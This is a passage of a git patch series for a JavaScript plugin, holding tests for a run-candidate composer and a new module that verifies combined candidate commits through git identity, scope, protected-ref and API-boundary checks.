+ assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane('rejected'), + ])); + assert.equal(receipt.status, 'composed'); + assert.equal(receipt.blocked_assignment_ids.length, 0); +}); + +test('restart of the same frozen deltas is idempotent', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const request = composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const first = await composeRunOwnedCandidateV1(request); + const second = await composeRunOwnedCandidateV1(request); + assert.equal(second.idempotent, true); + assert.equal(second.candidate_sha, first.candidate_sha); + assert.equal(inspectRepo(repo).candidate, first.candidate_sha); +}); + +test('overlapping writer paths fail closed without merge repair', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/shared.txt', contents: 'a\n', + }); + const headB = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_B, relativePath: 'src/shared.txt', contents: 'b\n', + }); + const error = await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['src/**'], 'verified', headB), + ]))); + assert.equal(error.code, 'path_ownership_denied'); + assert.equal(inspectRepo(repo).candidate, null); + assert.equal(inspectRepo(repo).main, repo.baseSha); +}); + +test('symlink rename and mode-change deltas are rejected', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const symlinkSha = await addSymlinkWriter(repo); + const renameSha = await addRenameWriter(repo); + const modeSha = await addModeChangeWriter(repo); + assert.equal((await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', symlinkSha), + ])))).code, 'delta_policy_denied'); + assert.equal((await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', renameSha), + ])))).code, 'delta_policy_denied'); + assert.equal((await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', modeSha), + ])))).code, 'delta_policy_denied'); + assert.equal(inspectRepo(repo).candidate, null); +}); + +test('out of scope paths fail closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'docs/escape.md', contents: 'nope\n', + }); + const error = await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]))); + assert.equal(error.code, 'path_ownership_denied'); +}); + +test('parsed requests are detached snapshots', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const input = composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'missing'), + verifyLane(), + ]); + const snapshot = parseRunCandidateComposeRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + input.lanes.push(writerLane(ASSIGNMENT_B, ['docs/**'], 'missing')); + assert.equal(snapshot.lanes.length, 2); + assert.equal(snapshot.candidate_ref, candidateRef()); +}); + +test('legacy 3.2.1 compatibility: composer does not claim a sixth tool or version bump', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + assert.equal(source.includes('4.0.0'), false); + assert.equal(source.includes('ready_for_codex_review: true'), false); + assert.match(source, /Codex retains sole final acceptance/u); +}); From f434a19841586e30c6d2290d67f2a77b84eb3bb7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 00:22:12 +0000 Subject: [PATCH 139/151] feat(v3): verify combined candidates through accepted evidence Consume composition receipts as values and verify the run-owned candidate through P13/P14/P15/P16/P30/P32. Incomplete diagnostic output never becomes ready_for_codex_review; Codex remains the only acceptance authority. --- .../mcp/v3/run-combined-verifier.mjs | 748 ++++++++++++++++++ .../test/r1-run-combined-verifier.test.mjs | 189 +++++ 2 files changed, 937 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs new file mode 100644 index 0000000..eb5478b --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs @@ -0,0 +1,748 @@ +// RunCombinedVerifierV1 — combined-candidate verification (P35; ADR 0001 +// `gate_a_candidate_composition_and_combined_verification`, +// `diagnostic_partial_candidate_never_ready`, `codex_only_final_acceptance`). +// +// Additive v3 module. It verifies a run-owned candidate through accepted +// P13/P14/P15/P16/P30/P32 evidence. It never repairs conflicts, never +// integrates, never mutates remotes or protected refs, and never claims +// Codex acceptance. Incomplete diagnostic output stays +// incomplete_candidate. Required missing, rejected, or unresolved writer +// lanes block ready_for_codex_review. +// +// This module does not import or own the server, supervisor, worker, +// provider, registry, runtime, scheduler, artifact-bridge, or composer +// implementation. Composition receipts are consumed as values. Optional +// P16 execution is injected; tests stub it. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, + executeConstrainedVerificationV1, +} from './constrained-verification-runner.mjs'; +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from './evidence-bundle.mjs'; +import { verifyGitIdentityV1 } from './git-identity.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { auditProtectedRefsV1 } from './protected-ref-audit.mjs'; +import { + projectRunApiBoundaryV1, + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_VERSION, +} from './run-api-boundary.mjs'; +import { + RECEIPT_KEYS as COMPOSITION_RECEIPT_KEYS, + RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + RUN_CANDIDATE_COMPOSER_VERSION, + COMPOSER_STATUSES, + LANE_RESULT_KEYS, +} from './run-candidate-composer.mjs'; +import { + RunContractV1Error, + assertBaseSha, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { verifyScopeV1 } from './scope-verifier.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_COMBINED_VERIFIER_SCHEMA_ID = 'codex-co-engineer.run-combined-verifier.v1'; +export const RUN_COMBINED_VERIFIER_VERSION = 1; +export const RUN_COMBINED_VERIFIER_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.run-combined-verifier-receipt.v1'; + +export const MAX_VERIFIER_OBJECT_KEYS = 48; +export const MAX_VERIFIER_KEY_BYTES = 128; + +export const COMBINED_STATUSES = capturedFreeze([ + 'blocked', 'failed', 'incomplete_candidate', 'verified', +]); +export const COMBINED_CHECKS = capturedFreeze([ + 'request_quarantine', + 'composition_receipt', + 'p14_git_identity', + 'p15_scope', + 'p16_constrained_verification', + 'p30_protected_ref_audit', + 'p32_run_api_boundary', + 'one_parent_candidate', + 'remote_mutation_denied', + 'diagnostic_partial_never_ready', + 'codex_only_final_acceptance', +]); +export const COMBINED_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'composer_imported', + 'default_branch_mutated', + 'head_mutated', + 'integrated', + 'merge_performed', + 'pr_created', + 'protected_ref_mutated', + 'push_performed', + 'rebase_performed', + 'release_created', + 'remote_mutated', + 'server_imported', + 'supervisor_imported', + 'tag_created', +]); + +export const REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'composition', 'expected_base_ref', 'expected_protected_refs', 'identity', + 'orchestration', 'schema', 'verification', 'version', +]); +export const REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'composition', 'expected_base_ref', 'expected_protected_refs', 'identity', + 'orchestration', 'schema', 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'provider', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const OPTIONS_ALLOWED_KEYS = capturedFreeze([ + 'auditProtectedRefs', 'executeVerification', 'projectRunApiBoundary', + 'spawn', 'verifyGitIdentity', 'verifyScope', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'api_boundary_status', 'assignment_id', 'base_sha', 'candidate_ref', + 'candidate_sha', 'checks', 'codex_only_final_acceptance', 'composition_status', + 'discrepancies', 'facts', 'incomplete', 'integrated', 'parent_count', + 'ready_for_codex_review', 'run_id', 'schema', 'side_effects', 'status', + 'verification_executed', 'version', +]); + +export const RUN_COMBINED_VERIFIER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'exotic_prototype_denied', 'identity_mismatch', 'invalid_format', + 'invalid_type', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'proxy_denied', + 'remote_mutation_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_identity', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const IS_PROXY = utilTypes.isProxy; +const OWN_KEYS = capturedOwnKeys; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const SET_CTOR = Set; +const BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; + +const MSG = capturedFreeze({ + accessor_property_denied: 'RunCombinedVerifierV1 denies accessor inputs.', + aliased_reference_denied: 'RunCombinedVerifierV1 denies aliased inputs.', + bounds_exceeded: 'RunCombinedVerifierV1 exceeded a closed verification bound.', + exotic_prototype_denied: 'RunCombinedVerifierV1 denies exotic prototypes.', + identity_mismatch: 'RunCombinedVerifierV1 rejected a mismatched run or base identity.', + invalid_format: 'RunCombinedVerifierV1 rejected a value that violates a closed grammar.', + invalid_type: 'RunCombinedVerifierV1 rejected a non-JSON verification value.', + missing_key: 'RunCombinedVerifierV1 requires every canonical verification key.', + non_enumerable_property_denied: 'RunCombinedVerifierV1 denies non-enumerable properties.', + out_of_range: 'RunCombinedVerifierV1 rejected a value outside closed bounds.', + own_undefined_denied: 'RunCombinedVerifierV1 denies own undefined values.', + proxy_denied: 'RunCombinedVerifierV1 denies Proxy inputs.', + remote_mutation_denied: 'RunCombinedVerifierV1 denies push and remote mutation.', + symbol_key_denied: 'RunCombinedVerifierV1 denies symbol keys.', + unknown_key: 'RunCombinedVerifierV1 rejects keys outside the closed vocabulary.', + unverified_identity: 'RunCombinedVerifierV1 requires verified Git identity evidence.', + value_depth_exceeded: 'RunCombinedVerifierV1 rejected nested input that exceeds closed depth.', +}); + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error + && capturedIncludes(RUN_COMBINED_VERIFIER_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, pathLabel) { + deny(publicCode(error), pathLabel); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + try { assertPlainObject(input, 'invalid_type', pathLabel, pathLabel); } catch (error) { + remap(error, pathLabel); + } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_VERIFIER_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key) > MAX_VERIFIER_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + try { assertDirectJsonClosure(input, pathLabel); } catch (error) { remap(error, pathLabel); } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function ownString(input, key, pathLabel) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + return value; +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function emptySideEffects() { + const values = {}; + for (let i = 0; i < COMBINED_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[COMBINED_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(COMBINED_SIDE_EFFECT_NONCLAIMS, values); +} + +function parseIdentity(input, pathLabel) { + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(object, IDENTITY_REQUIRED_KEYS, pathLabel); + const runId = ownString(object, 'run_id', pathLabel); + try { assertRunId(runId, pathLabel); } catch (error) { remap(error, pathLabel); } + const baseSha = ownString(object, 'base_sha', pathLabel); + try { assertBaseSha(baseSha, pathLabel); } catch (error) { remap(error, pathLabel); } + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + const repositoryPath = ownString(object, 'repository_path', pathLabel); + if (typeof repositoryPath !== 'string' || !repositoryPath.startsWith('/')) { + deny('invalid_format', pathLabel); + } + const values = { + run_id: runId, base_sha: baseSha, assignment_id: assignmentId, repository_path: repositoryPath, + }; + if (hasOwn(object, 'provider')) values.provider = ownString(object, 'provider', pathLabel); + return freezeRecord(IDENTITY_ALLOWED_KEYS, values); +} + +function parseLaneResult(input, pathLabel) { + const object = assertClosedObject(input, LANE_RESULT_KEYS, pathLabel); + requireKeys(object, LANE_RESULT_KEYS, pathLabel); + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + const applied = ownDataValue(object, 'applied', pathLabel); + if (applied !== true && applied !== false) deny('invalid_type', pathLabel); + const writeScope = ownDataValue(object, 'write_scope', pathLabel); + if (!capturedIsArray(writeScope)) deny('invalid_type', pathLabel); + const scope = []; + for (let i = 0; i < writeScope.length; i += 1) { + const pattern = ownDataValue(writeScope, String(i), pathLabel); + if (typeof pattern !== 'string') deny('invalid_type', pathLabel); + scope.push(pattern); + } + const headSha = ownDataValue(object, 'head_sha', pathLabel); + if (headSha !== null && !isSha40(headSha)) deny('invalid_format', pathLabel); + return freezeRecord(LANE_RESULT_KEYS, { + assignment_id: assignmentId, + kind: ownString(object, 'kind', pathLabel), + state: ownString(object, 'state', pathLabel), + applied, + path_count: ownDataValue(object, 'path_count', pathLabel), + head_sha: headSha, + write_scope: capturedFreeze(scope), + }); +} + +function parseComposition(input, identity, pathLabel) { + const object = assertClosedObject(input, COMPOSITION_RECEIPT_KEYS, pathLabel); + requireKeys(object, COMPOSITION_RECEIPT_KEYS, pathLabel); + if (ownString(object, 'schema', pathLabel) !== RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + if (ownDataValue(object, 'version', pathLabel) !== RUN_CANDIDATE_COMPOSER_VERSION) { + deny('invalid_format', pathLabel); + } + const status = ownString(object, 'status', pathLabel); + if (!capturedIncludes(COMPOSER_STATUSES, status)) deny('invalid_format', pathLabel); + const runId = ownString(object, 'run_id', pathLabel); + const baseSha = ownString(object, 'base_sha', pathLabel); + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (runId !== identity.run_id || baseSha !== identity.base_sha + || assignmentId !== identity.assignment_id) { + deny('identity_mismatch', pathLabel); + } + const candidateSha = ownDataValue(object, 'candidate_sha', pathLabel); + if (candidateSha !== null && !isSha40(candidateSha)) deny('invalid_format', pathLabel); + const parentSha = ownDataValue(object, 'parent_sha', pathLabel); + if (parentSha !== null && !isSha40(parentSha)) deny('invalid_format', pathLabel); + const parentCount = ownDataValue(object, 'parent_count', pathLabel); + const ready = ownDataValue(object, 'ready_for_codex_review', pathLabel); + if (ready !== false) deny('invalid_format', pathLabel); + const lanesValue = ownDataValue(object, 'lanes', pathLabel); + if (!capturedIsArray(lanesValue)) deny('invalid_type', pathLabel); + const lanes = []; + for (let i = 0; i < lanesValue.length; i += 1) { + lanes.push(parseLaneResult(ownDataValue(lanesValue, String(i), pathLabel), `${pathLabel}.lanes`)); + } + return freezeRecord(capturedFreeze([ + 'allow_diagnostic_partial_candidate', 'applied_assignment_ids', 'assignment_id', + 'base_sha', 'blocked_assignment_ids', 'candidate_ref', 'candidate_sha', + 'incomplete', 'lanes', 'parent_count', 'parent_sha', 'ready_for_codex_review', + 'run_id', 'schema', 'status', 'version', + ]), { + schema: RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + status, + run_id: runId, + assignment_id: assignmentId, + base_sha: baseSha, + candidate_ref: ownString(object, 'candidate_ref', pathLabel), + candidate_sha: candidateSha, + parent_sha: parentSha, + parent_count: parentCount, + applied_assignment_ids: ownDataValue(object, 'applied_assignment_ids', pathLabel), + blocked_assignment_ids: ownDataValue(object, 'blocked_assignment_ids', pathLabel), + lanes: capturedFreeze(lanes), + allow_diagnostic_partial_candidate: ownDataValue( + object, 'allow_diagnostic_partial_candidate', pathLabel, + ), + incomplete: ownDataValue(object, 'incomplete', pathLabel) === true, + ready_for_codex_review: false, + }); +} + +function parseExpectedRefs(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!capturedIsArray(input) || input.length < 1 || input.length > 16) deny('out_of_range', pathLabel); + const refs = []; + for (let i = 0; i < input.length; i += 1) { + const entry = assertClosedObject( + ownDataValue(input, String(i), pathLabel), ['ref', 'sha'], pathLabel, + ); + requireKeys(entry, ['ref', 'sha'], pathLabel); + const sha = ownString(entry, 'sha', pathLabel); + if (!isSha40(sha)) deny('invalid_format', pathLabel); + refs.push(freezeRecord(['ref', 'sha'], { ref: ownString(entry, 'ref', pathLabel), sha })); + } + return capturedFreeze(refs); +} + +export function parseCombinedCandidateRequestV1(input) { + const pathLabel = 'verify'; + const object = assertClosedObject(input, REQUEST_ALLOWED_KEYS, pathLabel); + requireKeys(object, REQUEST_REQUIRED_KEYS, pathLabel); + if (ownString(object, 'schema', pathLabel) !== RUN_COMBINED_VERIFIER_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + if (ownDataValue(object, 'version', pathLabel) !== RUN_COMBINED_VERIFIER_VERSION) { + deny('invalid_format', pathLabel); + } + const identity = parseIdentity(ownDataValue(object, 'identity', pathLabel), `${pathLabel}.identity`); + const expectedBaseRef = ownString(object, 'expected_base_ref', pathLabel); + if (!BASE_REF_PATTERN.test(expectedBaseRef)) deny('invalid_format', pathLabel); + const composition = parseComposition( + ownDataValue(object, 'composition', pathLabel), identity, `${pathLabel}.composition`, + ); + const expectedProtectedRefs = parseExpectedRefs( + ownDataValue(object, 'expected_protected_refs', pathLabel), `${pathLabel}.expected_protected_refs`, + ); + const orchestration = ownDataValue(object, 'orchestration', pathLabel); + try { + assertNotProxy(orchestration, `${pathLabel}.orchestration`); + assertPlainObject(orchestration, 'invalid_type', `${pathLabel}.orchestration`, `${pathLabel}.orchestration`); + } catch (error) { remap(error, pathLabel); } + let verification = null; + if (hasOwn(object, 'verification')) { + verification = ownDataValue(object, 'verification', pathLabel); + try { assertNotProxy(verification, `${pathLabel}.verification`); } catch (error) { + remap(error, pathLabel); + } + } + return freezeRecord(REQUEST_ALLOWED_KEYS, { + schema: RUN_COMBINED_VERIFIER_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + identity, + expected_base_ref: expectedBaseRef, + expected_protected_refs: expectedProtectedRefs, + composition, + orchestration, + verification, + }); +} + +function parseOptions(options, pathLabel = 'options') { + if (options === undefined) { + return freezeRecord(OPTIONS_ALLOWED_KEYS, { + spawn: undefined, + verifyGitIdentity: verifyGitIdentityV1, + verifyScope: verifyScopeV1, + auditProtectedRefs: auditProtectedRefsV1, + executeVerification: executeConstrainedVerificationV1, + projectRunApiBoundary: projectRunApiBoundaryV1, + }); + } + try { assertNotProxy(options, pathLabel); } catch (error) { remap(error, pathLabel); } + try { assertPlainObject(options, 'invalid_type', pathLabel, pathLabel); } catch (error) { + remap(error, pathLabel); + } + let keys; + try { keys = OWN_KEYS(options); } catch { deny('invalid_type', pathLabel); } + const allowedSet = new SET_CTOR(OPTIONS_ALLOWED_KEYS); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + const resolve = (key, fallback) => { + if (!hasOwn(options, key)) return fallback; + const value = optOwn(options, key); + if (key !== 'spawn' && (typeof value !== 'function' || IS_PROXY(value))) deny('invalid_type', pathLabel); + if (key === 'spawn' && value !== undefined && (typeof value !== 'function' || IS_PROXY(value))) { + deny('invalid_type', pathLabel); + } + return value; + }; + return freezeRecord(OPTIONS_ALLOWED_KEYS, { + spawn: resolve('spawn', undefined), + verifyGitIdentity: resolve('verifyGitIdentity', verifyGitIdentityV1), + verifyScope: resolve('verifyScope', verifyScopeV1), + auditProtectedRefs: resolve('auditProtectedRefs', auditProtectedRefsV1), + executeVerification: resolve('executeVerification', executeConstrainedVerificationV1), + projectRunApiBoundary: resolve('projectRunApiBoundary', projectRunApiBoundaryV1), + }); +} + +function appliedWriteScope(composition) { + const patterns = []; + const seen = new SET_CTOR(); + for (let i = 0; i < composition.lanes.length; i += 1) { + const lane = composition.lanes[i]; + if (lane.applied !== true) continue; + for (let j = 0; j < lane.write_scope.length; j += 1) { + const pattern = lane.write_scope[j]; + if (seen.has(pattern)) continue; + seen.add(pattern); + patterns.push(pattern); + } + } + return patterns; +} + +function identityRequestOf(request, headSha) { + return { + repository: { + path: request.identity.repository_path, + base_sha: request.identity.base_sha, + }, + expected_base_ref: request.expected_base_ref, + candidate_head_sha: headSha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence: 0, + }; +} + +function spawnOptions(options) { + return options.spawn === undefined ? undefined : { spawn: options.spawn }; +} + +function emitFact(request, status, payload, sequence) { + return parseVerifiedFactV1({ + fact_id: 'git-identity', + fact_kind: 'git_identity', + status, + code: 'host_observed', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + subject: 'combined-candidate', + authority: 'platform_git', + method: 'ancestry_check', + input_digest: digestOf({ + run_id: request.identity.run_id, base_sha: request.identity.base_sha, + }), + output_digest: digestOf(payload), + exit_code: status === 'verified' ? 0 : 1, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +function finish(request, values) { + const incomplete = values.status === 'incomplete_candidate' + || request.composition.incomplete === true + || request.composition.status === 'incomplete_candidate'; + const ready = values.status === 'verified' && incomplete !== true; + return freezeData(freezeRecord(RECEIPT_KEYS, { + schema: RUN_COMBINED_VERIFIER_RECEIPT_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + status: values.status, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + base_sha: request.identity.base_sha, + candidate_ref: request.composition.candidate_ref, + candidate_sha: request.composition.candidate_sha, + parent_count: request.composition.parent_count, + composition_status: request.composition.status, + api_boundary_status: values.api_boundary_status, + verification_executed: values.verification_executed === true, + incomplete, + ready_for_codex_review: ready, + codex_only_final_acceptance: true, + integrated: false, + checks: COMBINED_CHECKS, + side_effects: emptySideEffects(), + facts: capturedFreeze(values.facts), + discrepancies: capturedFreeze(values.discrepancies), + })); +} + +export async function verifyCombinedCandidateV1(input, options) { + const request = parseCombinedCandidateRequestV1(input); + const parsedOptions = parseOptions(options); + const payload = { + base_sha: request.identity.base_sha, + head_sha: request.composition.candidate_sha ?? request.identity.base_sha, + }; + + if (request.composition.status === 'blocked' + || request.composition.candidate_sha === null + || request.composition.parent_count !== 1) { + const status = request.composition.status === 'incomplete_candidate' + ? 'incomplete_candidate' : 'blocked'; + return finish(request, { + status, + api_boundary_status: null, + verification_executed: false, + facts: [emitFact(request, 'failed', payload, 0)], + discrepancies: [emitDiscrepancy('composition-blocked', request, ['git-identity'], 1)], + }); + } + + const gitOptions = spawnOptions(parsedOptions); + const identityInput = identityRequestOf(request, request.composition.candidate_sha); + const identity = await parsedOptions.verifyGitIdentity(identityInput, gitOptions); + if (identity.status !== 'verified') { + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts: [emitFact(request, 'failed', payload, 0)], + discrepancies: [emitDiscrepancy('git-identity', request, ['git-identity'], 1)], + }); + } + + const writeScope = appliedWriteScope(request.composition); + const scope = await parsedOptions.verifyScope({ + identity_request: identityInput, + identity, + access: 'writer', + write_scope: writeScope, + other_write_scopes: [], + }, gitOptions); + if (scope.status !== 'verified' + || scope.observation.parent_count !== 1 + || scope.observation.new_commit_count !== 1) { + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts: [...scope.facts], + discrepancies: scope.discrepancies.length > 0 + ? [...scope.discrepancies] + : [emitDiscrepancy('scope', request, ['git-diff'], 2)], + }); + } + + const audit = await parsedOptions.auditProtectedRefs({ + schema: 'codex-co-engineer.protected-ref-audit.v1', + version: 1, + identity: { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + expected_refs: request.expected_protected_refs.map((entry) => ({ + ref: entry.ref, sha: entry.sha, + })), + }, gitOptions); + if (audit.status !== 'verified') { + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts: [...audit.facts], + discrepancies: [...audit.discrepancies], + }); + } + + const apiIdentity = { + run_id: request.identity.run_id, + base_sha: request.identity.base_sha, + assignment_id: request.identity.assignment_id, + }; + if (capturedHasOwn(request.identity, 'provider')) apiIdentity.provider = request.identity.provider; + const api = parsedOptions.projectRunApiBoundary({ + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + identity: apiIdentity, + audit, + orchestration: request.orchestration, + }); + if (api.status !== 'ready') { + return finish(request, { + status: api.status === 'failed' ? 'failed' : 'blocked', + api_boundary_status: api.status, + verification_executed: false, + facts: [...audit.facts], + discrepancies: [emitDiscrepancy('api-boundary', request, ['git-identity'], 3)], + }); + } + + let verificationExecuted = false; + if (request.verification !== null) { + const verification = await parsedOptions.executeVerification(request.verification); + verificationExecuted = true; + if (verification.schema !== CONSTRAINED_VERIFICATION_SCHEMA_ID + || verification.version !== CONSTRAINED_VERIFICATION_VERSION + || verification.outcome?.result !== 'pass' + || verification.candidate_audit?.unchanged !== true) { + return finish(request, { + status: 'failed', + api_boundary_status: api.status, + verification_executed: true, + facts: [...audit.facts], + discrepancies: [emitDiscrepancy('verification', request, ['git-identity'], 4)], + }); + } + } else { + return finish(request, { + status: request.composition.status === 'incomplete_candidate' + ? 'incomplete_candidate' : 'blocked', + api_boundary_status: api.status, + verification_executed: false, + facts: [...identity.facts, ...scope.facts, ...audit.facts], + discrepancies: request.composition.status === 'incomplete_candidate' + ? [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 4)] + : [emitDiscrepancy('verification-missing', request, ['git-identity'], 4)], + }); + } + + const status = request.composition.status === 'incomplete_candidate' + ? 'incomplete_candidate' : 'verified'; + return finish(request, { + status, + api_boundary_status: api.status, + verification_executed: verificationExecuted, + facts: [...identity.facts, ...scope.facts, ...audit.facts], + discrepancies: status === 'incomplete_candidate' + ? [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 4)] + : [], + }); +} + +export function describeRunCombinedVerifierV1() { + return freezeData(capturedFreeze({ + schema: RUN_COMBINED_VERIFIER_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + receipt_schema: RUN_COMBINED_VERIFIER_RECEIPT_SCHEMA_ID, + rule: 'verify_through_accepted_p13_p14_p15_p16_p30_p32_evidence', + api: capturedFreeze([ + 'describeRunCombinedVerifierV1', 'parseCombinedCandidateRequestV1', + 'verifyCombinedCandidateV1', + ]), + statuses: COMBINED_STATUSES, + checks: COMBINED_CHECKS, + error_codes: RUN_COMBINED_VERIFIER_ERROR_CODES, + side_effect_nonclaims: 